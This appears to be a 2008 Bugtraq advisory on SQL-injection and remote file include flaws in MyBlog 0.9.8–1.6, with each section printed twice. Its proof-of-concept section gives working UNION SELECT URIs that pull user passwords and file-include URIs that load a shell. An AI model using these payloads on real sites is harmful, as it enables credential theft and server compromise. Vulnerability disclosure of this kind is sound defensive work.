MyBlog SQL Injection and Remote File Include Vulnerabilities
BID:28313
Info
MyBlog SQL Injection and Remote File Include Vulnerabilities
| Bugtraq ID: | 28313 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Mar 19 2008 12:00AM |
| Updated: | Mar 19 2008 10:30PM |
| Credit: | Cod3rZ is credited with the discovery of this vulnerability. |
| Vulnerable: |
MyBlog MyBlog 0.9.8 MyBlog MyBlog 1.6 MyBlog MyBlog 1.5 MyBlog MyBlog 1.4 MyBlog MyBlog 1.3 MyBlog MyBlog 1.2 MyBlog MyBlog 1.1 MyBlog MyBlog 1.0 |
| Not Vulnerable: | |
Discussion
MyBlog SQL Injection and Remote File Include Vulnerabilities
MyBlog is prone to multiple input-validation vulnerabilities, including:
- Multiple SQL-injection vulnerabilities
- Multiple remote file-include vulnerabilities
- A privilege-escalation vulnerability
An attacker may exploit these issues to compromise the affected application, execute arbitrary script code in the context of the webserver process, or pass malicious input to database queries, resulting in the modification of query logic or other attacks.
MyBlog is prone to multiple input-validation vulnerabilities, including:
- Multiple SQL-injection vulnerabilities
- Multiple remote file-include vulnerabilities
- A privilege-escalation vulnerability
An attacker may exploit these issues to compromise the affected application, execute arbitrary script code in the context of the webserver process, or pass malicious input to database queries, resulting in the modification of query logic or other attacks.
Exploit / POC
MyBlog SQL Injection and Remote File Include Vulnerabilities
Attackers may launch attacks through a browser.
The following proof-of-concept URIs are available:
http://www.example.com/path/member.php?id='+union+select+password,2,3,4,5,6,7,8,9,10+from+myblog_users+/*
http://www.example.com/path/post.php?id='+union+select+2,3,user,password,6,7,8,9,10,11,12+from+myblog_users/*
http://www.example.com/path/vote.php?id='+union+select+password,3,4,5,6,7,8,9,10,11,12+from+myblog_users+/*
http://www.example.com/path/vote.php?mid='+union+select+password,3,4,5,6,7,8,9,10+from+myblog_users+/*
http://www.example.com/path/games.php?id=[shell]%00
http://www.example.com/path/games.php?scoreid=[shell]%00
Attackers may launch attacks through a browser.
The following proof-of-concept URIs are available:
http://www.example.com/path/member.php?id='+union+select+password,2,3,4,5,6,7,8,9,10+from+myblog_users+/*
http://www.example.com/path/post.php?id='+union+select+2,3,user,password,6,7,8,9,10,11,12+from+myblog_users/*
http://www.example.com/path/vote.php?id='+union+select+password,3,4,5,6,7,8,9,10,11,12+from+myblog_users+/*
http://www.example.com/path/vote.php?mid='+union+select+password,3,4,5,6,7,8,9,10+from+myblog_users+/*
http://www.example.com/path/games.php?id=[shell]%00
http://www.example.com/path/games.php?scoreid=[shell]%00
Solution / Fix
MyBlog SQL Injection and Remote File Include Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].